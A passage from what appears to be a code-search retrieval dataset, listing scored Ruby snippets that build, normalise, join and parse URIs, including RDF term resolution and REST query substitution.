"score": "0.5512367", "text": "def build_uri(base_uri, rest_path)\n if server.options[:single_org]\n # Strip off /organizations/chef if we are in single org mode\n if rest_path[0..1] != [ \"organizations\", server.options[:single_org] ]\n raise \"Unexpected URL #{rest_path[0..1]} passed to build_uri in single org mode\"\n end\n\n return self.class.build_uri(base_uri, rest_path[2..-1])\n end\n\n self.class.build_uri(base_uri, rest_path)\n end", "title": "" }, { "docid": "822d6fbed3b751598272ea878d906ef7", "score": "0.54945594", "text": "def preprocess_uri(uri)\n expr = /\\A[a-z]+:\\/\\// # aka \\A[a-z]+:// - Matches '<protocol>://<address>' \n if !uri.blank? && !uri.match(expr)\n return uri = \"http://\" + uri;\n else\n return uri\n end\n end", "title": "" }, { "docid": "ca07ce6cc06bd78a6f02bc35d75fb126", "score": "0.54739565", "text": "def urify(uri)\n if uri.nil?\n nil\n elsif uri.is_a?(URI)\n uri\n elsif AddressableEnabled\n AddressableURI.parse(uri.to_s)\n else\n URI.parse(uri.to_s)\n end\n end", "title": "" }, { "docid": "cfd90970cf7444f547b3721037359a7e", "score": "0.54669297", "text": "def uri(url, word = nil)\n word == nil ? URI(URI.escape(url)) : URI(URI.escape(url + word.downcase.tr(' ', '_')))\n end", "title": "" }, { "docid": "5fd4e5d030e21b80dc66ac4858be080b", "score": "0.5439419", "text": "def prepare_uri path\n \"#{@uri}#{path}\"\n end", "title": "" }, { "docid": "3fc583c983f18ed4f99d01b01af72ce7", "score": "0.543229", "text": "def uri_normalize(uri)\n \treturn 'http://' + uri unless uri =~ /http:\\/\\//\n \turi\n\tend", "title": "" }, { "docid": "13147adeaea321549e4c2e1256baa390", "score": "0.54172504", "text": "def prepare_uri path\r\n \"#{@uri}#{path}\"\r\n end", "title": "" }, { "docid": "20ed6e7415411f46a8aaebebd63df728", "score": "0.54012764", "text": "def expand_url(url)\n uri = URI(url)\n resolver = Resolv::DNS.new()\n\n # if host is relative, append the service discovery name\n host = uri.host.count('.') > 0 ? uri.host : \"#{uri.host}.#{ENV[\"_SERVICE_DISCOVERY_NAME\"]}\"\n\n # lookup the SRV record and use if found\n begin\n srv = resolver.getresource(host, Resolv::DNS::Resource::IN::SRV)\n uri.host = srv.target.to_s\n uri.port = srv.port.to_s\n logger.info \"uri port is #{uri.port}\"\n if uri.port == 0\n uri.port = 80\n logger.info \"uri port is now #{uri.port}\"\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n end\n\n logger.info \"expanded #{url} to #{uri}\"\n uri\n end", "title": "" }, { "docid": "20ed6e7415411f46a8aaebebd63df728", "score": "0.54012764", "text": "def expand_url(url)\n uri = URI(url)\n resolver = Resolv::DNS.new()\n\n # if host is relative, append the service discovery name\n host = uri.host.count('.') > 0 ? uri.host : \"#{uri.host}.#{ENV[\"_SERVICE_DISCOVERY_NAME\"]}\"\n\n # lookup the SRV record and use if found\n begin\n srv = resolver.getresource(host, Resolv::DNS::Resource::IN::SRV)\n uri.host = srv.target.to_s\n uri.port = srv.port.to_s\n logger.info \"uri port is #{uri.port}\"\n if uri.port == 0\n uri.port = 80\n logger.info \"uri port is now #{uri.port}\"\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n end\n\n logger.info \"expanded #{url} to #{uri}\"\n uri\n end", "title": "" }, { "docid": "141f0da93b42a750f9610d99f578a4f8", "score": "0.5376672", "text": "def resolve_term term\n return term if term.is_a? RDF::Term\n term = term.to_s\n\n # bnode ahoy\n return RDF::Node.new term.delete_prefix '_:' if term.start_with? '_:'\n\n # ugh now we gotta do urls\n if m = /^(#{NCNAME}):(\\S*)$/o.match(term)\n prefix, slug = m.captures\n if !slug.start_with?(?/) and vocab = prefixes[prefix.to_sym]\n return vocab[slug]\n end\n end\n\n # now resolve against base\n RDF::URI((URI(subject.to_s) + term).to_s)\n end", "title": "" }, { "docid": "e82f0930a33b083bf9d4bc265b6a1474", "score": "0.53679943", "text": "def expand_url(input, url=nil)\n url ||= root\n\n url = if input.start_with?(\"http\", url)\n input\n else\n File.join(url, input)\n end\n\n smart_slash(url)\n end", "title": "" }, { "docid": "074df6f012cd2a550da953d606ce5f62", "score": "0.532816", "text": "def equivalent_uri(uri); end", "title": "" }, { "docid": "6fe88ca4835504749ae94babaf555d26", "score": "0.5318103", "text": "def normalized_uri=(_arg0); end", "title": "" }, { "docid": "90b375903d8da0abd1b977ce216c535c", "score": "0.5313189", "text": "def uri_string_for(value, id_aware = true)\n result = if value.is_a? String\n return nil if((value =~ /\\A\\d+(-.*)?\\Z/) && id_aware) # This looks like a record id or record param, encoded as a string\n # if this is a local name, prepend the local namespace\n (value =~ /:/) ? value : (N::LOCAL + value).uri\n elsif(value.respond_to?(:uri))\n value.uri\n else\n id_aware ? nil : value\n end\n result = result.to_s if result\n result\n end", "title": "" }, { "docid": "9dd443e769d27cfcaf0b4ec720439b2d", "score": "0.52875346", "text": "def lengthen uri\n s = URI.parse(uri).path.sub('/','')\n find( decode s ).full_url\n rescue\n raise NotFound, s\n end", "title": "" }, { "docid": "b3b61f11f67cb059d8192054332ee203", "score": "0.5285102", "text": "def deprefix(uri)\n context = @context || [] \n return uri if uri.nil? || uri.start_with?(\"http\")\n\n arr = uri.split(\":\")\n replacement_value = \"\"\n context.each do |c|\n if c.is_a?(Hash) && c.keys.include?(arr.first)\n arr[0] = c[arr.first]\n return arr.join(\"\")\n end\n end\n return uri\n end", "title": "" }, { "docid": "fae52176417309f99fcc6176b815445c", "score": "0.5261113", "text": "def uri\n HOST + URI.escape(name)\n end", "title": "" }, { "docid": "f074c1e4351d41bfd49c47b3353c23a4", "score": "0.5253862", "text": "def parse_uri(uri)\n uri_p = URI.parse(uri)\n name = uri_p.path.gsub(/^\\//,\"\")\n namespace = uri_p.scheme + \"://\" + uri_p.host + \"/\"\n { namespace: namespace, name: name}\nend", "title": "" }, { "docid": "1ebbd6905c28b42ae1fdd5ec09bc4c77", "score": "0.5231972", "text": "def parse_uri(path, env); end", "title": "" }, { "docid": "b0ce26a794f24425f0e97b65383cea03", "score": "0.5219329", "text": "def uri_normalize(uri)\n \treturn \"http://#{uri}\" unless uri =~ /http:\\/\\//\n \turi\n\tend", "title": "" }, { "docid": "3b8942fdade13ce1274606e46971ccf5", "score": "0.5217335", "text": "def normalize_uri uri\n (uri =~ /^https?:/) ? uri : \"http://#{uri}\"\n end", "title": "" }, { "docid": "cbccd9a066b81fa9fae70d79cee53fc4", "score": "0.5206895", "text": "def shortname (uri)\n uri = uri.to_s\n uri.gsub!('http://www.w3.org/1999/02/22-rdf-syntax-ns#', 'rdf:')\n uri.gsub!(/http:\\/\\/www.w3.org\\/2000\\/01\\/rdf-schema#/, 'rdfs:')\n return uri\nend", "title": "" }, { "docid": "9ec644ffef13c41a0ee5071668ef1bdf", "score": "0.5200881", "text": "def normalize_uri; end", "title": "" }, { "docid": "4d5bd8a96a22c3e9612c42568eeb4e44", "score": "0.51754755", "text": "def normalize_uri(uri_or_path)\n uri = URI.parse(uri_or_path)\n return uri if uri.to_s.start_with?(client.base_uri.to_s)\n path = uri_or_path.to_s.start_with?('/') ? uri_or_path : \"/#{uri_or_path}\"\n path.to_s.gsub!(/^#{client.base_uri.to_s}|^#{client.base_uri.path}/, '')\n URI.parse(\"#{client.base_uri}#{path}\")\n end", "title": "" }, { "docid": "5f43af25c3e5b78f05053790f6de9016", "score": "0.517455", "text": "def normalize\n (@uri =~ /^(https?|ftp|file):/i) ? @uri : \"http://#{@uri}\"\n end", "title": "" }, { "docid": "cd6787735895f3863fa6a8de93661d6e", "score": "0.5162414", "text": "def expand(path, query = nil)\n url = URI.parse(@url).merge(path)\n url.query = query.map { |k, v| \"#{k}=#{v}\" }.join('&') if query\n url.to_s\n end", "title": "" }, { "docid": "3a475daa87fb1be58a95f5f392ee2507", "score": "0.5149121", "text": "def to_addressable_uri(uri)\n uri.nil? || uri.is_a?(Addressable::URI) ? uri : Addressable::URI.parse(uri)\n end", "title": "" }, { "docid": "321acac66a23d72b1ca8b77ee5c73177", "score": "0.5142571", "text": "def normalize_uri uri\n (uri =~ /^https?:/) ? uri : \"http://#{uri}\"\n end", "title": "" }, { "docid": "a8384b11fab796206bd585c29dc65414", "score": "0.5135883", "text": "def expand_url!\n bing_url = URI(body[:url])\n parsed_query = CGI::parse(bing_url.query)\n @expanded_url = parsed_query['r'].first\n end", "title": "" }, { "docid": "cafd6ceda1adb5a5772ca14fc12c1282", "score": "0.5134184", "text": "def uri_join(host, *parts)\r\n newparts = []\r\n newparts << (parts[0] =~ /^http/ ? parts.shift : host)\r\n newparts.push(*parts)\r\n newparts = newparts.reject(&:nil?).map {|part| part.to_s.stripchomp('/')}\r\n newparts.join('/')\r\nend", "title": "" }, { "docid": "8d376b838317c2b7229a433dbb8a566a", "score": "0.5123045", "text": "def method_missing(part, *args, &block)\n @uri.parts << part.to_s\n self\n end", "title": "" }, { "docid": "caec7a15cf82c8054f03624f4122f71f", "score": "0.5119935", "text": "def get_uri\n HOST + URI.escape(name)\n end", "title": "" }, { "docid": "6950da17c970b158ef8a23df309890e2", "score": "0.5117791", "text": "def as_uri(value)\n URI.parse(value.to_s) rescue nil if value.present?\n end", "title": "" }, { "docid": "fc93b3459051a5e2d50b0b30d760b2cf", "score": "0.5115079", "text": "def full_url\n if path.match /\\A\\//\n flatten_root_relative\n elsif path.match /\\A[a-z0-9]+:/\n path # it’s already a full url\n else\n flatten_subpath_relative\n end\n end", "title": "" }, { "docid": "6281740c4e831f64da3cd34ab49e3883", "score": "0.5092367", "text": "def full_uri_for(fragment)\n case fragment\n when /^http:\\/\\//\n # The fragment is a complete URI\n fragment\n when /^\\//\n # The fragment is relative to the root of this host\n host_uri + fragment\n else\n # The fragment is relative to this directory\n relative_uri + fragment\n end\n end", "title": "" }, { "docid": "6cd33539dc1f65679f8a087e5e313c34", "score": "0.5079245", "text": "def substitute_uri(uri, params)\n # logger.debug \"[REST] reducing args: #{params.inspect}\"\n params.delete(:conditions)\n # logger.debug \"[REST] args is now: #{params.inspect}\"\n\n u = uri.clone\n u.scheme = uri.scheme\n u.path = URI.escape(uri.path.split(/\\//).map { |x| x =~ /^:(\\w+)/ ? params[$1.to_sym] : x }.join(\"/\"))\n if uri.query\n new_pairs = []\n pairs = u.query.split(/&/).map {|x| x.split(/=/, 2)}\n pairs.each do |pair|\n if pair.length == 2\n if pair[1] =~ /:(\\w+)/\n next if not params.has_key? $1.to_sym or params[$1.to_sym].nil?\n pair[1] = CGI.escape(params[$1.to_sym])\n end\n new_pairs << pair.join(\"=\")\n elsif pair.length == 1\n pair[0] =~ /:(\\w+)/\n # new substitution rules:\n # when param is not there, don't put anything in url\n # when param is array, put multiple params in url\n # when param is a hash, put key=value params in url\n # any other case, stringify param and put it in url\n next if not params.has_key? $1.to_sym or params[$1.to_sym].nil?\n sub_val = params[$1.to_sym]\n if sub_val.kind_of? Array\n sub_val.each do |val|\n new_pairs << $1 + \"=\" + CGI.escape(val)\n end\n elsif sub_val.kind_of? Hash\n sub_val.each_key do |key|\n new_pairs << CGI.escape(key) + \"=\" + CGI.escape(sub_val[key])\n end\n else\n new_pairs << $1 + \"=\" + CGI.escape(sub_val.to_s)\n end\n else\n raise RuntimeError, \"illegal url query pair: #{pair.inspect}\"\n end\n end\n u.query = new_pairs.join(\"&\")\n end\n u.path.gsub!(/\\/+/, '/')\n return u\n end", "title": "" }, { "docid": "68c0626fcbeebd1b8f8730cc1121d29b", "score": "0.50736445", "text": "def +(uri)\n if !uri.kind_of?(self.class)\n uri = URI.parse(uri.to_s)\n end\n if uri.to_s == \"\"\n return self.dup\n end\n \n joined_scheme = nil\n joined_userinfo = nil\n joined_host = nil\n joined_port = nil\n joined_path = nil\n joined_query = nil\n joined_fragment = nil\n \n # Section 5.2.2 of RFC 3986\n if uri.scheme != nil\n joined_scheme = uri.scheme\n joined_userinfo = uri.userinfo\n joined_host = uri.host\n joined_port = uri.specified_port\n joined_path = self.class.normalize_path(uri.path)\n joined_query = uri.query\n else\n if uri.authority != nil\n joined_userinfo = uri.userinfo\n joined_host = uri.host\n joined_port = uri.specified_port\n joined_path = self.class.normalize_path(uri.path)\n joined_query = uri.query\n else\n if uri.path == nil || uri.path == \"\"\n joined_path = self.path\n if uri.query != nil\n joined_query = uri.query\n else\n joined_query = self.query\n end\n else\n if uri.path[0..0] == \"/\"\n joined_path = self.class.normalize_path(uri.path)\n else\n base_path = self.path.nil? ? \"\" : self.path.dup\n base_path = self.class.normalize_path(base_path)\n base_path.gsub!(/\\/[^\\/]+$/, \"/\")\n joined_path = self.class.normalize_path(base_path + uri.path)\n end\n joined_query = uri.query\n end\n joined_userinfo = self.userinfo\n joined_host = self.host\n joined_port = self.specified_port\n end\n joined_scheme = self.scheme\n end\n joined_fragment = uri.fragment\n \n return URI.new(\n joined_scheme,\n joined_userinfo,\n joined_host,\n joined_port,\n joined_path,\n joined_query,\n joined_fragment\n )\n end", "title": "" }, { "docid": "176cff3bdd69b771b5bc3a7198640772", "score": "0.5073436", "text": "def generate_uri(parameters={})\n parameters = self.normalize_parameters(parameters)\n self.validate_parameters(parameters)\n template_variables = self.uri_template.variables\n uri = self.uri_template.expand(parameters)\n query_parameters = parameters.reject do |k, v|\n template_variables.include?(k)\n end\n if query_parameters.size > 0\n uri.query_values = (uri.query_values || {}).merge(query_parameters)\n end\n # Normalization is necessary because of undesirable percent-escaping\n # during URI template expansion\n return uri.normalize\n end", "title": "" }, { "docid": "4353a72b346902e8a800908996433853", "score": "0.5072394", "text": "def uri_parser; end", "title": "" }, { "docid": "141877d166df4f48a4ba2940b8bf15e5", "score": "0.50640494", "text": "def address_to_uri(address, default_host, default_port)\n uri = URI.parse(address)\n unless [\"pnb\", \"pnm\", \"pnu\"].include?(uri.scheme)\n raise URI::InvalidURIError\n end\n uri.host = default_host if uri.host == \".\"\n uri.port = default_port if uri.port.nil?\n return uri\n rescue URI::InvalidURIError\n if port_only?(address)\n return port_to_uri(default_host, address)\n end\n\n if host_only?(address)\n return host_to_uri(default_port, address)\n end\n\n host_and_port_to_uri(*address.split(\":\"))\n end", "title": "" }, { "docid": "15f90561611f7c97dee302a7239d808b", "score": "0.5063277", "text": "def uri_parser=(_arg0); end", "title": "" }, { "docid": "da8974bf9681b5e679da9a489df00892", "score": "0.50607014", "text": "def dispatch_field_uri!(uri, ns=NS_EWS_MESSAGES)\n type = uri.keys.first\n vals = uri[type].is_a?(Array) ? uri[type] : [uri[type]]\n case type\n when :field_uRI, :field_uri\n vals.each do |val|\n value = val.is_a?(Hash) ? val[type] : val\n nbuild[ns].FieldURI('FieldURI' => value)\n end\n when :indexed_field_uRI, :indexed_field_uri\n vals.each do |val|\n nbuild[ns].IndexedFieldURI(\n 'FieldURI' => (val[:field_uRI] || val[:field_uri]),\n 'FieldIndex' => val[:field_index]\n )\n end\n when :extended_field_uRI, :extended_field_uri\n vals.each do |val|\n nbuild[ns].ExtendedFieldURI {\n nbuild.parent['DistinguishedPropertySetId'] = val[:distinguished_property_set_id] if val[:distinguished_property_set_id]\n nbuild.parent['PropertySetId'] = val[:property_set_id] if val[:property_set_id]\n nbuild.parent['PropertyTag'] = val[:property_tag] if val[:property_tag]\n nbuild.parent['PropertyName'] = val[:property_name] if val[:property_name]\n nbuild.parent['PropertyId'] = val[:property_id] if val[:property_id]\n nbuild.parent['PropertyType'] = val[:property_type] if val[:property_type]\n }\n end\n else\n raise EwsBadArgumentError, \"Bad URI type. #{type}\"\n end\n end", "title": "" }, { "docid": "3b5182e71e5cc2c942abb67a02857746", "score": "0.50450623", "text": "def _expand_url(url)\n case url\n when String, Symbol\n respond_to?(url) ? send(url) : url\n when Proc\n url.call(self)\n else\n url\n end\n end", "title": "" }, { "docid": "df5ef9b108a5f236ce31576de0a4f485", "score": "0.50437075", "text": "def full_hostname(uri)\n \"#{uri.scheme}://#{uri.hostname}\"\nend", "title": "" }, { "docid": "45f72947f5bd2fd52f8dc70c2c296947", "score": "0.50315744", "text": "def normalize_uri\n self.url = Addressable::URI.heuristic_parse(self.url).normalize!.to_s if self.url\n end", "title": "" }, { "docid": "f69a310625c03a8f1ae5b1f16978cb45", "score": "0.5029956", "text": "def route_from(uri)\n uri = self.class.parse(uri).normalize\n normalized_self = self.normalize\n if normalized_self.relative?\n raise ArgumentError, \"Expected absolute URI, got: #{self.to_s}\"\n end\n if uri.relative?\n raise ArgumentError, \"Expected absolute URI, got: #{uri.to_s}\"\n end\n if normalized_self == uri\n return Addressable::URI.parse(\"##{normalized_self.fragment}\")\n end\n segments = normalized_self.to_hash\n if normalized_self.scheme == uri.scheme\n segments[:scheme] = nil\n if normalized_self.authority == uri.authority\n segments[:user] = nil\n segments[:password] = nil\n segments[:host] = nil\n segments[:port] = nil\n if normalized_self.path == uri.path\n segments[:path] = nil\n if normalized_self.query == uri.query\n segments[:query] = nil\n end\n else\n if uri.path != \"/\"\n segments[:path].gsub!(\n Regexp.new(\"^\" + Regexp.escape(uri.path)), \"\")\n end\n end\n end\n end\n # Avoid network-path references.\n if segments[:host] != nil\n segments[:scheme] = normalized_self.scheme\n end\n return Addressable::URI.new(\n segments[:scheme],\n segments[:user],\n segments[:password],\n segments[:host],\n segments[:port],\n segments[:path],\n segments[:query],\n segments[:fragment]\n )\n end", "title": "" }, { "docid": "fe2233e54b516ac30639cc02b87f4771", "score": "0.50280535", "text": "def expand_qname(context, qname)\n a, b = qname.split(':')\n if b\n # a=prefix; b=localname\n ns = context.xml_src_node.namespace(a)\n localname = b\n else\n # unprefixed; a=localname\n ns = context.xml_src_node.namespace('')\n localname = a\n end\n if ! ns\n if b && a == 'xml'\n ns = 'http://www.w3.org/XML/1998/namespace'\n else\n raise \"unknown namespace for QName \\\"#{qname}\\\"\"\n end\n end\n [ ns, localname ]\n end", "title": "" }, { "docid": "c301bff4a3dcbcb00ecb97bda7268bbb", "score": "0.5024143", "text": "def expand(uri_variables)\n self.class.new(@link, @entry_point, uri_variables)\n end", "title": "" }, { "docid": "2d140e6b690dc5f18c4233530c64818b", "score": "0.50149167", "text": "def get_uri(uri_or_str)\n return uri_or_str.to_uri if uri_or_str.respond_to? :to_uri\n return uri_or_str if uri_or_str.kind_of? RDF::Node\n uri_or_str = uri_or_str.to_s\n return RDF::Node(uri_or_str[2..-1]) if uri_or_str.start_with? '_:'\n return RDF::URI(uri_or_str) if RDF::URI(uri_or_str).valid? and (URI.scheme_list.include?(RDF::URI.new(uri_or_str).scheme.upcase) or RDF::URI.new(uri_or_str).scheme == 'info')\n return RDF::URI(self.base_uri.to_s + (self.base_uri.to_s[-1,1] =~ /(\\/|#)/ ? '' : '/') + uri_or_str) if base_uri && !uri_or_str.start_with?(base_uri.to_s)\n raise RuntimeError, \"could not make a valid RDF::URI from #{uri_or_str}\"\n end", "title": "" }, { "docid": "10fee8527e0ea058811d1024d8c70839", "score": "0.50117934", "text": "def transform_uri(uri)\n server_uri = servers.keys.detect{|server_uri| normalized_base(server_uri) == uri.base}\n if server_uri\n new_uri = HyperionUri.new(uri)\n new_uri.base = \"http://localhost:#{servers[server_uri].port}\"\n logger.debug \"Hyperion is redirecting #{uri} ==> #{new_uri}\"\n new_uri\n else\n uri\n end\n end", "title": "" }, { "docid": "412314b84e685fc33a57b9b08a942d67", "score": "0.50093234", "text": "def normalize_uri(uri_or_options)\n if String === uri_or_options\n uri_or_options = Addressable::URI.parse(uri_or_options)\n end\n if Addressable::URI === uri_or_options\n return uri_or_options.normalize\n end\n\n Addressable::URI.new(:adapter => uri_or_options.delete(:adapter), \n :host => (uri_or_options.delete(:host) || \"\"), \n :port => uri_or_options.delete(:port), \n :path => uri_or_options.delete(:index))\n #:query => nil,\n #:user => nil,\n #:password => nil \n end", "title": "" }, { "docid": "f075a6cdcbfe4f1bdf7e96d9f571291a", "score": "0.5005632", "text": "def full_uri\n uri = datastore['HOPURL']\n return uri if uri.end_with?('/')\n return \"#{uri}/\" if uri.end_with?('?')\n \"#{uri}?/\"\n end", "title": "" }, { "docid": "eb46d89f098f02707c804cba6ee01d34", "score": "0.5004717", "text": "def uri\n resolver_params = resolver.base_uri_params\n if @protocol_relative\n resolver_params[:scheme] = nil\n end\n uri = Addressable::URI.new(resolver_params)\n uri.query_values = region_params\n uri\n end", "title": "" }, { "docid": "6e6895e919436de1ceb292af886e9e40", "score": "0.4999966", "text": "def objectify_uri(uri)\n\n # TODO URI#escape is deprecated in Ruby > 1.9.2;\n # consider using Addressable gem? chop URI at domain only? //jno 2017-09-11\n if uri.is_a? String\n # URI.parse will explode when given a character that it thinks\n # shouldn't appear in uris. We thus escape them before passing the\n # string into the function. Unfortunately URI.escape does not respect\n # all characters that have meaning in HTTP (esp. #), so we are forced\n # to state exactly which characters we would like to escape.\n uri = URI.escape(uri, %r{[^!$#%&'()*+,\\-./0-9:;=?@A-Z_a-z~]})\n uri = URI.parse(uri)\n else\n uri\n end\n\n end", "title": "" }, { "docid": "48f8a10420e25af7166438e57b8688be", "score": "0.49981403", "text": "def ns_uri=(_arg0); end", "title": "" }, { "docid": "48f8a10420e25af7166438e57b8688be", "score": "0.49981403", "text": "def ns_uri=(_arg0); end", "title": "" }, { "docid": "48f8a10420e25af7166438e57b8688be", "score": "0.49981403", "text": "def ns_uri=(_arg0); end", "title": "" }, { "docid": "f289a516b2ab9e482bc70762308f0ada", "score": "0.4984548", "text": "def uri_as_needed(id)\n return id unless id.is_a?(String)\n id = replace_url_prefix(id)\n uri = RDF::URI.new(id)\n uri.valid? ? uri : id\n end", "title": "" }, { "docid": "585e022957a7c2b50fee6821fafcbad7", "score": "0.49804154", "text": "def build_correct_url\n url_components = url.split('/')\n parameters = { host: url_components[0] }\n parameters[:path] = build_path unless url_components.one?\n self.url = URI::HTTP.build(parameters)\n rescue URI::InvalidComponentError\n false\n end", "title": "" }, { "docid": "51661947022cc764b46c95b0b35e0d16", "score": "0.49796364", "text": "def map_scalar(value)\n uri = begin\n URI.parse(value)\n rescue\n nil\n end\n pair = value.split(':')\n\n if uri && uri.scheme && uri.host\n # absolute URI with scheme, authority, etc\n uri.host, uri.port = host_and_port(uri.host, uri.port)\n return uri.to_s\n elsif pair.size == 2\n # \"host:port\" pair; three sub-cases...\n if pair.first =~ ELIDED\n # output only the port\n service = pair.first.gsub(REMOVE_ELIDED, '')\n _, port = host_and_port(service, pair.last)\n return port.to_s\n elsif pair.last =~ ELIDED\n # output only the hostname; resolve the port anyway to ensure that\n # the service is running.\n service = pair.first\n port = pair.last.gsub(REMOVE_ELIDED, '')\n host, = host_and_port(service, port)\n return host\n else\n # output port:hostname pair\n host, port = host_and_port(pair.first, pair.last)\n return \"#{host}:#{port}\"\n end\n else\n fail BadSubstitution, \"Can't understand '#{value}'\"\n end\n end", "title": "" }, { "docid": "538aa071f32ba1c3078d63e4756f7d88", "score": "0.4975279", "text": "def uri_for(path)\n URI.join(base_uri.to_s, path.to_s)\n end", "title": "" }, { "docid": "780c943a928f84632aab085f1c59873f", "score": "0.49605045", "text": "def uri(addr, absolute = true, add_script_name = true)\n return super unless addr.respond_to? :prefix\n uri(addr.prefix, absolute, false)\n end", "title": "" }, { "docid": "96fb0e014adfe36cc0b8145a3c51eaae", "score": "0.49593005", "text": "def uri_to(path)\n Addressable::URI.join(uri.to_s, path.to_s)\n end", "title": "" }, { "docid": "8d557e82e4354e8cc2b1d70bcbc48cbd", "score": "0.494616", "text": "def build_uri(path)\n uri = base_uri\n uri.path = path\n uri.to_s\n end", "title": "" }, { "docid": "eaadde2fae74ce1b1742d195b442eccd", "score": "0.4941349", "text": "def uri_with_scheme\n self.uri =~ /^http/ ? self.uri : \"http://#{self.uri}\"\n end", "title": "" }, { "docid": "886da7629bcab18501f3aca70787325a", "score": "0.4940672", "text": "def with_scheme\n @uri.scheme ? @uri.to_s : \"http://#{@uri}\"\n end", "title": "" }, { "docid": "702d9931c66efe2e113cb96d7747676f", "score": "0.4939062", "text": "def url_for(*args)\n _params = args.last.is_a?(Hash) ? args.pop : Hash.new\n _namespace_sym = args[0].is_a?(Symbol) ? args.shift : :rw\n _namespace = case _namespace_sym\n when :rw; rw_prefix;\n when :omniauth; omniauth_prefix;\n else rw_prefix\n end \n _path = args[0] || false\n _give_full_uri = args[1] || false\n\n #logger.debug \"RW RackWardenHelpers#url_for _url: #{_url}, _full_uri: #{_full_uri.to_s}, _params: #{_params.__to_params__}\"\n url(File.join(_namespace.to_s, _path.to_s), _give_full_uri).to_s +\n (_params.empty? ? '' : \"?#{_params.__to_params__}\")\n end", "title": "" }, { "docid": "30ab042e5472db29aea44651d06a56d6", "score": "0.49359724", "text": "def parse_uri(uri, rel_uri)\n return ID('*') if rel_uri.nil?\n begin\n ID(URI::parse(uri.split('/')[0..3]*'/').merge(rel_uri).to_s)\n rescue\n ID('*')\n end\n end", "title": "" }, { "docid": "08490fdd087bab1f61b28631fa4d9682", "score": "0.49255908", "text": "def parse_string_for_uri(substring)\n begin\n uri_string = URI.parse(substring).host\n rescue URI::BadURIError, URI::Error, URI::InvalidComponentError, URI::InvalidURIError\n uri_string = nil\n end\n\n # Do not return nil; if there's a problem, just return the original substring\n uri_string ||= substring\n end", "title": "" }, { "docid": "456cecf1c872cb2b98fb0c01c5fa41f1", "score": "0.49223858", "text": "def resolve_uri\n return uri if uri.absolute?\n parent.resolved_uri + uri if parent && parent.resolved_uri\n end", "title": "" }, { "docid": "693be8ef84c34a0dc7d51ae152ebc939", "score": "0.49211186", "text": "def normalize_uri(uri)\n (uri =~ /^(https?|ftp|file):/) ? uri : \"http://#{uri}\"\n end", "title": "" }, { "docid": "693be8ef84c34a0dc7d51ae152ebc939", "score": "0.49211186", "text": "def normalize_uri(uri)\n (uri =~ /^(https?|ftp|file):/) ? uri : \"http://#{uri}\"\n end", "title": "" }, { "docid": "0b60d8b6532fe8f8a14edc78c52cf63f", "score": "0.49197796", "text": "def uri(path)\n \"#{@base_path}#{path}\"\nend", "title": "" }, { "docid": "b39691d21ab172e4850f46b73f5f6ed8", "score": "0.4919231", "text": "def rewrite_url(url, host, format = nil)\n # Ensure the host name is valid\n url = uri(url)\n return nil unless valid_host?(url)\n # Replace the host name with the canonical host name\n url.host = host\n # Remove any existing format extension\n url.path = rewrite_url_format(url.path, format)\n # Return the URL string\n url.to_s\n rescue URI::InvalidComponentError, URI::InvalidURIError\n return nil\n end", "title": "" }, { "docid": "f036b0dcf5cdeb673ff113ecb2d45b67", "score": "0.49179763", "text": "def full_url(path)\n Tilia::Uri.resolve(@base_uri, path)\n end", "title": "" }, { "docid": "346bcc8f8330a5dfd9aa50ee144d24eb", "score": "0.48986363", "text": "def join(uri); end", "title": "" }, { "docid": "346bcc8f8330a5dfd9aa50ee144d24eb", "score": "0.48986363", "text": "def join(uri); end", "title": "" }, { "docid": "182bdbb78a0f66b170984d65a13910d7", "score": "0.48957172", "text": "def make_uri(href)\n uri = URI::parse(href.to_s)\n uri.normalize!\n return uri if uri.scheme && !uri.scheme.start_with?('http')\n uri.scheme ||= @target.scheme\n uri.host ||= @target.host\n uri.path = '/' << uri.path unless uri.path.start_with?('/')\n uri.query = nil\n uri.fragment = nil\n uri\n rescue URI::InvalidURIError\n @errors << \"Bad URI: #{ href } on page #{ @href }\"\n nil\n end", "title": "" }, { "docid": "e04f5aa98404dcd91edcdba7970be5e9", "score": "0.48875338", "text": "def process_uri(uri); end", "title": "" }, { "docid": "bdbf006e3d70978bd24b4ba4b8474751", "score": "0.48841476", "text": "def create_uri(uri, link)\n l = URI.parse(link)\n l.scheme ||= uri.scheme\n l.host ||= uri.host\n uri.path = '/' if uri.path.empty?\n l.path = uri.path + l.path unless l.path =~ /\\//\n l\n end", "title": "" }, { "docid": "79e17856086e7c536ff17ef33637b79f", "score": "0.4883681", "text": "def +(uri)\n if !uri.kind_of?(self.class)\n uri = URI.parse(uri.to_s)\n end\n if uri.to_s == \"\"\n return self.dup\n end\n \n joined_scheme = nil\n joined_user = nil\n joined_password = nil\n joined_host = nil\n joined_port = nil\n joined_path = nil\n joined_query = nil\n joined_fragment = nil\n \n # Section 5.2.2 of RFC 3986\n if uri.scheme != nil\n joined_scheme = uri.scheme\n joined_user = uri.user\n joined_password = uri.password\n joined_host = uri.host\n joined_port = uri.specified_port\n joined_path = self.class.normalize_path(uri.path)\n joined_query = uri.query\n else\n if uri.authority != nil\n joined_user = uri.user\n joined_password = uri.password\n joined_host = uri.host\n joined_port = uri.specified_port\n joined_path = self.class.normalize_path(uri.path)\n joined_query = uri.query\n else\n if uri.path == nil || uri.path == \"\"\n joined_path = self.path\n if uri.query != nil\n joined_query = uri.query\n else\n joined_query = self.query\n end\n else\n if uri.path[0..0] == \"/\"\n joined_path = self.class.normalize_path(uri.path)\n else\n base_path = self.path.dup\n base_path = \"\" if base_path == nil\n base_path = self.class.normalize_path(base_path)\n\n # Section 5.2.3 of RFC 3986\n #\n # Removes the right-most path segment from the base path.\n if base_path =~ /\\//\n base_path.gsub!(/\\/[^\\/]+$/, \"/\")\n else\n base_path = \"\"\n end\n \n # If the base path is empty and an authority segment has been\n # defined, use a base path of \"/\"\n if base_path == \"\" && self.authority != nil\n base_path = \"/\"\n end\n \n joined_path = self.class.normalize_path(base_path + uri.path)\n end\n joined_query = uri.query\n end\n joined_user = self.user\n joined_password = self.password\n joined_host = self.host\n joined_port = self.specified_port\n end\n joined_scheme = self.scheme\n end\n joined_fragment = uri.fragment\n \n return Addressable::URI.new(\n joined_scheme,\n joined_user,\n joined_password,\n joined_host,\n joined_port,\n joined_path,\n joined_query,\n joined_fragment\n )\n end", "title": "" }, { "docid": "1c76fc87770f103fab80397f44bad404", "score": "0.48810542", "text": "def absolutize_resource(uri, context)\n parsed_uri = URI.parse(uri)\n if parsed_uri.relative?\n fail 